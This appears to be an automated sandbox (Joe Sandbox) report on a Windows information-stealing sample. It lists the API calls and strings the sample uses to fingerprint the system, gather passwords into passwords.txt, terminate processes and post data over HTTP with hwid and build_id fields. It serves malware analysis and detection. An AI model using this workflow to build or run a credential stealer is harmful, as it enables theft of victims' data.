Part of subcall function 0040F18B: RegQueryValueExA.KERNEL32(^CB,MachineGuid,00000000,00000000,?,000000FF,?,?,00000000), ref: 0040F1EC
Part of subcall function 0040F18B: CharToOemA.USER32(?,?), ref: 0040F209

Part of subcall function 0040F218: GetCurrentHwProfileA.ADVAPI32(?), ref: 0040F229

Part of subcall function 0040F253: _EH_prolog.MSVCRT ref: 0040F258
Part of subcall function 0040F253: GetWindowsDirectoryA.KERNEL32(?,00000104,00000000,?,00000000), ref: 0040F27B
Part of subcall function 0040F253: GetVolumeInformationA.KERNEL32(?,00000000,00000000,?,00000000,00000000,00000000,00000000,?,00000000), ref: 0040F2AD
Part of subcall function 0040F253: GetProcessHeap.KERNEL32(00000000,00000104,?,?,00000000), ref: 0040F2F0
Part of subcall function 0040F253: HeapAlloc.KERNEL32(00000000,?,?,00000000), ref: 0040F2F7

GetCurrentProcessId.KERNEL32(00000000,?,Path: ,00000000,?,00424404,00000000,?,00000000,00000000,?,HWID: ,00000000,?,004243F8,00000000), ref: 004132E7

Part of subcall function 0040FD15: OpenProcess.KERNEL32(00000410,00000000,004132F7), ref: 0040FD2D
Part of subcall function 0040FD15: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 0040FD48
Part of subcall function 0040FD15: CloseHandle.KERNEL32(00000000), ref: 0040FD4F

Part of subcall function 0040F3C1: GetProcessHeap.KERNEL32(00000000,00000104,00000000,?,?,?,004133DC,00000000,?,Windows: ,00000000,?,00424428,00000000,?,Work Dir: In memory), ref: 0040F3D5
Part of subcall function 0040F3C1: HeapAlloc.KERNEL32(00000000,?,?,?,004133DC,00000000,?,Windows: ,00000000,?,00424428,00000000,?,Work Dir: In memory,00000000,?), ref: 0040F3DC

Part of subcall function 0040F4D4: _EH_prolog.MSVCRT ref: 0040F4D9
Part of subcall function 0040F4D4: CoInitializeEx.OLE32(00000000,00000000,?,?,?,?,?,?,00424428,00000000,?,Work Dir: In memory,00000000,?,00424410,00000000), ref: 0040F4E9
Part of subcall function 0040F4D4: CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000,?,?,?,?,?,?,00424428), ref: 0040F4FA
Part of subcall function 0040F4D4: CoCreateInstance.OLE32(00424CC8,00000000,00000001,00424BF8,?,?,?,?,?,?,?,00424428,00000000,?,Work Dir: In memory,00000000), ref: 0040F514
Part of subcall function 0040F4D4: CoSetProxyBlanket.OLE32(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000,?,?,?,?,?,?,00424428,00000000), ref: 0040F54A
Part of subcall function 0040F4D4: VariantInit.OLEAUT32(?), ref: 0040F5A5

Part of subcall function 0040F65D: _EH_prolog.MSVCRT ref: 0040F662
Part of subcall function 0040F65D: CoInitializeEx.OLE32(00000000,00000000,?,00000000,?,Work Dir: In memory,00000000,?,00424410,00000000,?,00000000), ref: 0040F672
Part of subcall function 0040F65D: CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000,?,00000000,?,Work Dir: In memory,00000000,?,00424410), ref: 0040F683
Part of subcall function 0040F65D: CoCreateInstance.OLE32(00424CC8,00000000,00000001,00424BF8,?,?,00000000,?,Work Dir: In memory,00000000,?,00424410,00000000,?,00000000), ref: 0040F69D
Part of subcall function 0040F65D: CoSetProxyBlanket.OLE32(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000,?,00000000,?,Work Dir: In memory,00000000,?,00424410,00000000), ref: 0040F6D3
Part of subcall function 0040F65D: VariantInit.OLEAUT32(?), ref: 0040F722

Part of subcall function 0040E919: GetProcessHeap.KERNEL32(00000000,00000104,00000000,?,?,00413583,00000000,?,Computer Name: ,00000000,?,00424458,00000000,?,00000000,00000000), ref: 0040E925
Part of subcall function 0040E919: HeapAlloc.KERNEL32(00000000,?,?,00413583,00000000,?,Computer Name: ,00000000,?,00424458,00000000,?,00000000,00000000,?,AV: ), ref: 0040E92C
Part of subcall function 0040E919: GetComputerNameA.KERNEL32(00000000,00000000), ref: 0040E940

Part of subcall function 0040E8E7: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00415689,004243BE), ref: 0040E8F3
Part of subcall function 0040E8E7: HeapAlloc.KERNEL32(00000000,?,?,?,00415689,004243BE), ref: 0040E8FA
Part of subcall function 0040E8E7: GetUserNameA.ADVAPI32(00000000,?), ref: 0040E90E

Part of subcall function 0040F116: CreateDCA.GDI32(00000000,00000000,00000000,00000000), ref: 0040F12B
Part of subcall function 0040F116: GetDeviceCaps.GDI32(00000000,00000008), ref: 0040F136
Part of subcall function 0040F116: GetDeviceCaps.GDI32(00000000,0000000A), ref: 0040F141
Part of subcall function 0040F116: ReleaseDC.USER32(00000000,00000000), ref: 0040F14C
Part of subcall function 0040F116: GetProcessHeap.KERNEL32(00000000,00000104,?,00000000,?,?,00413685,?,00000000,?,Display Resolution: ,00000000,?,0042447C,00000000,?), ref: 0040F158
Part of subcall function 0040F116: HeapAlloc.KERNEL32(00000000,?,00000000,?,?,00413685,?,00000000,?,Display Resolution: ,00000000,?,0042447C,00000000,?,00000000), ref: 0040F15F
Part of subcall function 0040F116: wsprintfA.USER32 ref: 0040F171

Part of subcall function 0040EA01: _EH_prolog.MSVCRT ref: 0040EA06
Part of subcall function 0040EA01: GetKeyboardLayoutList.USER32(00000000,00000000,004240C7,00000000,?,00000000), ref: 0040EA38
Part of subcall function 0040EA01: LocalAlloc.KERNEL32(00000040,00000000,?,00000000), ref: 0040EA46
Part of subcall function 0040EA01: GetKeyboardLayoutList.USER32(00000000,00000000,?,00000000), ref: 0040EA51
Part of subcall function 0040EA01: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200,?,00000000), ref: 0040EA7B
Part of subcall function 0040EA01: LocalFree.KERNEL32(?), ref: 0040EB1F

Part of subcall function 0040E9AE: GetProcessHeap.KERNEL32(00000000,00000104,?,00000000,00000000,?,Computer Name: ,00000000,?,00424458,00000000,?,00000000,00000000,?,AV: ), ref: 0040E9BF
Part of subcall function 0040E9AE: HeapAlloc.KERNEL32(00000000,?,00000000,00000000,?,Computer Name: ,00000000,?,00424458,00000000,?,00000000,00000000,?,AV: ,00000000), ref: 0040E9C6
Part of subcall function 0040E9AE: GetTimeZoneInformation.KERNEL32(00000000,?,00000000,00000000,?,Computer Name: ,00000000,?,00424458,00000000,?,00000000,00000000,?,AV: ,00000000), ref: 0040E9D5
Part of subcall function 0040E9AE: wsprintfA.USER32 ref: 0040E9F3

Part of subcall function 0040EB34: GetProcessHeap.KERNEL32(00000000,00000104,00000000,?,?,?,00413901,00000000,?,Processor: ,00000000,?,[Hardware],00000000,?,004244D8), ref: 0040EB48
Part of subcall function 0040EB34: HeapAlloc.KERNEL32(00000000,?,?,?,00413901,00000000,?,Processor: ,00000000,?,[Hardware],00000000,?,004244D8,00000000,?), ref: 0040EB4F
Part of subcall function 0040EB34: RegOpenKeyExA.KERNEL32(80000002,00000000,00020119,00000000,?,?,?,00413901,00000000,?,Processor: ,00000000,?,[Hardware],00000000,?), ref: 0040EB6D
Part of subcall function 0040EB34: RegQueryValueExA.KERNEL32(00000000,00000000,00000000,00000000,000000FF,?,?,?,00413901,00000000,?,Processor: ,00000000,?,[Hardware],00000000), ref: 0040EB89

Part of subcall function 0040EBD0: GetLogicalProcessorInformationEx.KERNELBASE(0000FFFF,00000000,00000000), ref: 0040EC23
Part of subcall function 0040EBD0: wsprintfA.USER32 ref: 0040EC69

Part of subcall function 0040EB9D: GetSystemInfo.KERNEL32(00000000), ref: 0040EBAA
Part of subcall function 0040EB9D: wsprintfA.USER32 ref: 0040EBBF

Part of subcall function 0040EC9D: GetProcessHeap.KERNEL32(00000000,00000104,00000000,00000000,00000000,?,Windows: ,00000000,?,00424428,00000000,?,Work Dir: In memory,00000000,?,00424410), ref: 0040ECAB
Part of subcall function 0040EC9D: HeapAlloc.KERNEL32(00000000), ref: 0040ECB2
Part of subcall function 0040EC9D: GlobalMemoryStatusEx.KERNEL32 ref: 0040ECD2
Part of subcall function 0040EC9D: wsprintfA.USER32 ref: 0040ECF8

Part of subcall function 0040ED06: _EH_prolog.MSVCRT ref: 0040ED0B
Part of subcall function 0040ED06: EnumDisplayDevicesA.USER32(00000000,00000000,?,00000001), ref: 0040EDC7

Part of subcall function 0040F039: _EH_prolog.MSVCRT ref: 0040F03E
Part of subcall function 0040F039: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0040F079
Part of subcall function 0040F039: Process32First.KERNEL32(00000000,00000128), ref: 0040F08A
Part of subcall function 0040F039: Process32Next.KERNEL32(?,00000128), ref: 0040F0F2
Part of subcall function 0040F039: CloseHandle.KERNEL32(?,?,00000000), ref: 0040F0FF

Part of subcall function 0040EDE7: _EH_prolog.MSVCRT ref: 0040EDEC
Part of subcall function 0040EDE7: RegOpenKeyExA.KERNEL32(?,00000000,00020019,?,004240DF,00000000,00000000), ref: 0040EE34

Part of subcall function 0040EDE7: RegEnumKeyExA.KERNEL32(?,?,?,?,00000000,00000000,00000000,00000000), ref: 0040EE7E
Part of subcall function 0040EDE7: wsprintfA.USER32 ref: 0040EEA8
Part of subcall function 0040EDE7: RegOpenKeyExA.KERNEL32(?,?,00000000,00020019,?), ref: 0040EEC5
Part of subcall function 0040EDE7: RegQueryValueExA.KERNEL32(?,00000000,000F003F,?,?), ref: 0040EEEF
Part of subcall function 0040EDE7: lstrlen.KERNEL32(?), ref: 0040EF04
Part of subcall function 0040EDE7: RegQueryValueExA.KERNEL32(?,00000000,000F003F,?,?,00000000,?,?,00000000,?,00424110), ref: 0040EF84

lstrlen.KERNEL32(00000000,00000000,?,00424550,00000000,?,00000000,00000000,?,00000000,00000000,?,[Software],00000000,?,00424540), ref: 00413D7B

Part of subcall function 004010A5: _EH_prolog.MSVCRT ref: 004010AA

Part of subcall function 00412DF0: _EH_prolog.MSVCRT ref: 00412DF5
Part of subcall function 00412DF0: CreateThread.KERNEL32(00000000,00000000,00411D06,?,00000000,00000000), ref: 00412E95
Part of subcall function 00412DF0: WaitForSingleObject.KERNEL32(00000000,000003E8,?,00000000), ref: 00412E9D

Part of subcall function 00401061: _EH_prolog.MSVCRT ref: 00401066

Strings

User Name: , xrefs: 004135D3
HWID: , xrefs: 00413229
TimeZone: , xrefs: 0041380B
V, xrefs: 00413DAF
information.txt, xrefs: 00413D96
Install Date: , xrefs: 0041342C
[Processes], xrefs: 00413BC8
Work Dir: In memory, xrefs: 00413359
Threads: , xrefs: 004139E2
VideoCard: , xrefs: 00413AEC
GUID: , xrefs: 00413195
Windows: , xrefs: 004133AD
Cores: , xrefs: 0041395D
MachineID: , xrefs: 00413116
Display Resolution: , xrefs: 00413652
[Software], xrefs: 00413C74
Local Time: , xrefs: 00413786
Keyboard Languages: , xrefs: 004136E6
Computer Name: , xrefs: 00413554
Version: , xrefs: 00412FD5
AV: , xrefs: 004134C0
RAM: , xrefs: 00413A67
[Hardware], xrefs: 0041389C
Date: , xrefs: 00413097
Processor: , xrefs: 004138CC
Path: , xrefs: 004132BD

Memory Dump Source

Source File: 0000000D.00000002.1658372250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000523000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.000000000063C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$H_prolog$Process$Alloc$wsprintf$CreateOpen$InitializeQueryValuelstrcpy$InformationLocalNamelstrlen$BlanketCapsCloseCurrentDeviceEnumHandleInfoInitInstanceKeyboardLayoutListProcess32ProxySecurityTimeVariantlstrcat$CharComputerDevicesDirectoryDisplayFileFirstFreeGlobalLocaleLogicalMemoryModuleNextObjectProcessorProfileReleaseSingleSnapshotStatusSystemThreadToolhelp32UserVolumeWaitWindowsZonememset
String ID: AV: $Computer Name: $Cores: $Date: $Display Resolution: $GUID: $HWID: $Install Date: $Keyboard Languages: $Local Time: $MachineID: $Path: $Processor: $RAM: $Threads: $TimeZone: $User Name: $V$Version: $VideoCard: $Windows: $Work Dir: In memory$[Hardware]$[Processes]$[Software]$information.txt
API String ID: 722754166-310184570
Opcode ID: e619fa44320a456808720408a63f18d1fa94b1fd3ed85c31a78d74f58beb0d0d
Instruction ID: 09a2893ea3b480e0fad63dd247d4e0b70015776e8a4f6143213ff95badc623b7
Opcode Fuzzy Hash: e619fa44320a456808720408a63f18d1fa94b1fd3ed85c31a78d74f58beb0d0d
Instruction Fuzzy Hash: 1EA24575804289E9CB06E7E2D956BDEBB785F24308F5008AEE101731C2EF791B58DBB5

Uniqueness

Uniqueness Score: -1.00%

Function 0040BCF1 Relevance: 42.3, APIs: 23, Strings: 1, Instructions: 264
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_EH_prolog.MSVCRT ref: 0040BCF6

Part of subcall function 0040E580: lstrcpy.KERNEL32(00000000,00000000), ref: 0040E5AA

Part of subcall function 0040E6F9: _EH_prolog.MSVCRT ref: 0040E6FE
Part of subcall function 0040E6F9: lstrlen.KERNEL32(?,?,?,?,?,004156A9,?,?,00424818,?,00000000,004243BE), ref: 0040E726
Part of subcall function 0040E6F9: lstrcpy.KERNEL32(00000000), ref: 0040E74D
Part of subcall function 0040E6F9: lstrcat.KERNEL32(?,?), ref: 0040E758

Part of subcall function 0040E63E: lstrcpy.KERNEL32(00000000,?), ref: 0040E677

Part of subcall function 0040F870: _EH_prolog.MSVCRT ref: 0040F875
Part of subcall function 0040F870: GetSystemTime.KERNEL32(?,004242A8,00000001,00000000,00000000), ref: 0040F8B5

Part of subcall function 0040E685: _EH_prolog.MSVCRT ref: 0040E68A
Part of subcall function 0040E685: lstrcpy.KERNEL32(00000000), ref: 0040E6D6
Part of subcall function 0040E685: lstrcat.KERNEL32(?,?), ref: 0040E6E0

CopyFileA.KERNEL32(00000000,00000000,00000001,00000000,?,00000000,00000000,?,00423A8B,00000000), ref: 0040BD99
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 0040BDF6
RtlAllocateHeap.NTDLL(00000000), ref: 0040BDFD
lstrlen.KERNEL32(00000000,00000000), ref: 0040BE8E
lstrcat.KERNEL32(?), ref: 0040BEA6
lstrcat.KERNEL32(?,00000000), ref: 0040BEB8
lstrcat.KERNEL32(?,00423A90), ref: 0040BEC6
lstrcat.KERNEL32(?,00000000), ref: 0040BED8
lstrcat.KERNEL32(?,00423A94), ref: 0040BEE6
lstrcat.KERNEL32(?), ref: 0040BEF5
lstrcat.KERNEL32(?,00000000), ref: 0040BF07
lstrcat.KERNEL32(?,00423A98), ref: 0040BF15
lstrcat.KERNEL32(?), ref: 0040BF24
lstrcat.KERNEL32(?,00000000), ref: 0040BF36
lstrcat.KERNEL32(?,00423A9C), ref: 0040BF44
lstrcat.KERNEL32(?), ref: 0040BF53
lstrcat.KERNEL32(?,00000000), ref: 0040BF65
lstrlen.KERNEL32(?), ref: 0040BFB5

Part of subcall function 004010A5: _EH_prolog.MSVCRT ref: 004010AA

Part of subcall function 00412DF0: _EH_prolog.MSVCRT ref: 00412DF5
Part of subcall function 00412DF0: CreateThread.KERNEL32(00000000,00000000,00411D06,?,00000000,00000000), ref: 00412E95
Part of subcall function 00412DF0: WaitForSingleObject.KERNEL32(00000000,000003E8,?,00000000), ref: 00412E9D

memset.MSVCRT ref: 0040C005
DeleteFileA.KERNEL32(00000000), ref: 0040C032

Strings

passwords.txt, xrefs: 0040BFC7

Memory Dump Source

Source File: 0000000D.00000002.1658372250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000523000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.000000000063C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$H_prolog$lstrcpy$lstrlen$FileHeap$AllocateCopyCreateDeleteObjectProcessSingleSystemThreadTimeWaitmemset
String ID: passwords.txt
API String ID: 3555799664-347816968
Opcode ID: ff40ac5e01da61b1d3151469d53a137badb0ff10457c6d1fc7eb53b10f8e7736
Instruction ID: b68b46f1e150df340f1af1b69219f443d2a10d161bc8a1e64da312ee0a074794
Opcode Fuzzy Hash: ff40ac5e01da61b1d3151469d53a137badb0ff10457c6d1fc7eb53b10f8e7736
Instruction Fuzzy Hash: 1EB15F31800109EFDB05EBE5EC4AAEDBB75FF14309F10482AF411721E1EB795A25DB65

Uniqueness

Uniqueness Score: -1.00%

Function 004121E7 Relevance: 41.1, APIs: 12, Strings: 11, Instructions: 899
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_EH_prolog.MSVCRT ref: 004121EC

Part of subcall function 00411F80: _EH_prolog.MSVCRT ref: 00411F85

Part of subcall function 0040E5F4: lstrlen.KERNEL32(?,00000000,?,00414F6E,004243BA,004243B7,00000000,00000000,?,00415729), ref: 0040E5FD
Part of subcall function 0040E5F4: lstrcpy.KERNEL32(00000000,00000000), ref: 0040E631

Part of subcall function 0040E580: lstrcpy.KERNEL32(00000000,00000000), ref: 0040E5AA

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 004123CA
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00412460

Part of subcall function 0040E63E: lstrcpy.KERNEL32(00000000,?), ref: 0040E677

Part of subcall function 0040E5B7: lstrcpy.KERNEL32(00000000,GPA), ref: 0040E5DD

Part of subcall function 004010A5: _EH_prolog.MSVCRT ref: 004010AA

Part of subcall function 00411A1D: _EH_prolog.MSVCRT ref: 00411A22
Part of subcall function 00411A1D: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00411A7D

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 0041259E
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00412634
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00412772

Part of subcall function 00411B01: _EH_prolog.MSVCRT ref: 00411B06
Part of subcall function 00411B01: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00411B85
Part of subcall function 00411B01: lstrlen.KERNEL32(00000000), ref: 00411B9C
Part of subcall function 00411B01: StrStrA.SHLWAPI(00000000,00000000), ref: 00411BC3
Part of subcall function 00411B01: lstrlen.KERNEL32(00000000), ref: 00411BD8
Part of subcall function 00411B01: lstrlen.KERNEL32(00000000), ref: 00411BF0

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00412808
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00412946
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 004129DC
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00412B1A
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00412BAA
Sleep.KERNEL32(0000EA60), ref: 00412BB9

Strings

ERROR, xrefs: 004129CE
ERROR, xrefs: 00412B0C
ERROR, xrefs: 00412452
ERROR, xrefs: 00412764
ERROR, xrefs: 00412B9C
ERROR, xrefs: 00412938
ERROR, xrefs: 004127FA
", xrefs: 00412D57
ERROR, xrefs: 004123BC
ERROR, xrefs: 00412590
ERROR, xrefs: 00412626

Memory Dump Source

Source File: 0000000D.00000002.1658372250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000523000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.000000000063C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: H_prolog$lstrcpylstrlen$Sleep
String ID: "$ERROR$ERROR$ERROR$ERROR$ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 1345713276-2213018930
Opcode ID: d4adb2a7c4583196739f4b40a740c0838ff1fe0ca3556a86eed2419b0475d62b
Instruction ID: 8238cbe3c64d60888d805ec546ad7bb145aaa3945331af815ae1bf23aefcd795
Opcode Fuzzy Hash: d4adb2a7c4583196739f4b40a740c0838ff1fe0ca3556a86eed2419b0475d62b
Instruction Fuzzy Hash: 15724270D00248EADB05EBFAC946BDDBBB8AF15308F5045AEF445B32C1EB7857488766

Uniqueness

Uniqueness Score: -1.00%

Function 00403F1B Relevance: 37.3, APIs: 13, Strings: 8, Instructions: 513
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_EH_prolog.MSVCRT ref: 00403F20

Part of subcall function 0040E5B7: lstrcpy.KERNEL32(00000000,GPA), ref: 0040E5DD

Part of subcall function 00403E7A: _EH_prolog.MSVCRT ref: 00403E7F
Part of subcall function 00403E7A: ??_U@YAPAXI@Z.MSVCRT ref: 00403EB1
Part of subcall function 00403E7A: ??_U@YAPAXI@Z.MSVCRT ref: 00403EBA
Part of subcall function 00403E7A: ??_U@YAPAXI@Z.MSVCRT ref: 00403EC3
Part of subcall function 00403E7A: lstrlen.KERNEL32(00000000,00000000,?,?,00000000,00000001), ref: 00403EDD
Part of subcall function 00403E7A: InternetCrackUrlA.WININET(00000000,00000000,?,00000000), ref: 00403EED

Part of subcall function 0040E580: lstrcpy.KERNEL32(00000000,00000000), ref: 0040E5AA

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00403FCB
StrCmpCA.SHLWAPI(?), ref: 00403FE2

Part of subcall function 0040E63E: lstrcpy.KERNEL32(00000000,?), ref: 0040E677

InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 0040416A
HttpOpenRequestA.WININET(?,?,00000000,00000000,-00400100,00000000), ref: 004041A4
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 004041C8

Part of subcall function 0040E6F9: _EH_prolog.MSVCRT ref: 0040E6FE
Part of subcall function 0040E6F9: lstrlen.KERNEL32(?,?,?,?,?,004156A9,?,?,00424818,?,00000000,004243BE), ref: 0040E726
Part of subcall function 0040E6F9: lstrcpy.KERNEL32(00000000), ref: 0040E74D
Part of subcall function 0040E6F9: lstrcat.KERNEL32(?,?), ref: 0040E758

Part of subcall function 0040E685: _EH_prolog.MSVCRT ref: 0040E68A
Part of subcall function 0040E685: lstrcpy.KERNEL32(00000000), ref: 0040E6D6
Part of subcall function 0040E685: lstrcat.KERNEL32(?,?), ref: 0040E6E0

lstrlen.KERNEL32(00000000,00000000,?,?,?,?,004238C5,00000000,?,?,00000000,?,",00000000,?,build_id), ref: 004044A4
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 004044BD
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 004044CE
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00404522
InternetCloseHandle.WININET(00000000), ref: 0040452D
InternetCloseHandle.WININET(?), ref: 00404542
InternetCloseHandle.WININET(?), ref: 0040454B

Strings

hwid, xrefs: 00404276
------, xrefs: 0040431D
------, xrefs: 00404064
", xrefs: 004043EF
build_id, xrefs: 004043C5
------, xrefs: 004041CE
", xrefs: 004042A0
!, xrefs: 0040450C

Memory Dump Source

Source File: 0000000D.00000002.1658372250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000523000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.000000000063C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$H_prologlstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileOptionReadSend
String ID: !$"$"$------$------$------$build_id$hwid
API String ID: 1139859944-3346224549
Opcode ID: b87dcb68e345e1dde03e0e9f8d1bc76079e9865f436446654b34a5420bd0ccee
Instruction ID: bb3908393a8d38a25c470b69f44bd94c55f9748966edcb27c6465708ea3b7168
Opcode Fuzzy Hash: b87dcb68e345e1dde03e0e9f8d1bc76079e9865f436446654b34a5420bd0ccee
Instruction Fuzzy Hash: B522A571800148EADB05EBE6D952AEEBBB8AF24308F50486EF501731C2DF791B19DB75

Uniqueness

Uniqueness Score: -1.00%

Function 00406A64 Relevance: 33.5, APIs: 22, Instructions: 492
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_EH_prolog.MSVCRT ref: 00406A69

Part of subcall function 0040E792: StrCmpCA.SHLWAPI(?,00406A8A,?,00406A8A,00000000), ref: 0040E79B

CopyFileA.KERNEL32(00000000,00000000,00000001,00000000,?,00000000,00000000,?,00423A97,00000000), ref: 00406B9D

Part of subcall function 0040E5B7: lstrcpy.KERNEL32(00000000,GPA), ref: 0040E5DD

Part of subcall function 0040FD6A: _EH_prolog.MSVCRT ref: 0040FD6F
Part of subcall function 0040FD6A: memset.MSVCRT ref: 0040FD91
Part of subcall function 0040FD6A: OpenProcess.KERNEL32(00001001,00000000,?,?,00000000), ref: 0040FE18
Part of subcall function 0040FD6A: TerminateProcess.KERNEL32(00000000,00000000), ref: 0040FE26
Part of subcall function 0040FD6A: CloseHandle.KERNEL32(00000000), ref: 0040FE2D

Part of subcall function 0040E6F9: _EH_prolog.MSVCRT ref: 0040E6FE
Part of subcall function 0040E6F9: lstrlen.KERNEL32(?,?,?,?,?,004156A9,?,?,00424818,?,00000000,004243BE), ref: 0040E726
Part of subcall function 0040E6F9: lstrcpy.KERNEL32(00000000), ref: 0040E74D
Part of subcall function 0040E6F9: lstrcat.KERNEL32(?,?), ref: 0040E758

Part of subcall function 0040E63E: lstrcpy.KERNEL32(00000000,?), ref: 0040E677

GetProcessHeap.KERNEL32(00000000,000F423F), ref: 00406D8F
RtlAllocateHeap.NTDLL(00000000), ref: 00406D96
lstrcat.KERNEL32(?,00000000), ref: 00406EB4
lstrcat.KERNEL32(?,00423AD0), ref: 00406EC2
lstrcat.KERNEL32(?,00000000), ref: 00406ED4
lstrcat.KERNEL32(?,00423AD4), ref: 00406EE2
lstrlen.KERNEL32(?), ref: 00407029
lstrlen.KERNEL32(?), ref: 00407037

Part of subcall function 004010A5: _EH_prolog.MSVCRT ref: 004010AA

Part of subcall function 00412DF0: _EH_prolog.MSVCRT ref: 00412DF5
Part of subcall function 00412DF0: CreateThread.KERNEL32(00000000,00000000,00411D06,?,00000000,00000000), ref: 00412E95
Part of subcall function 00412DF0: WaitForSingleObject.KERNEL32(00000000,000003E8,?,00000000), ref: 00412E9D

memset.MSVCRT ref: 0040708C
DeleteFileA.KERNEL32(00000000), ref: 004070B1

Memory Dump Source

Source File: 0000000D.00000002.1658372250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000523000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.000000000063C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

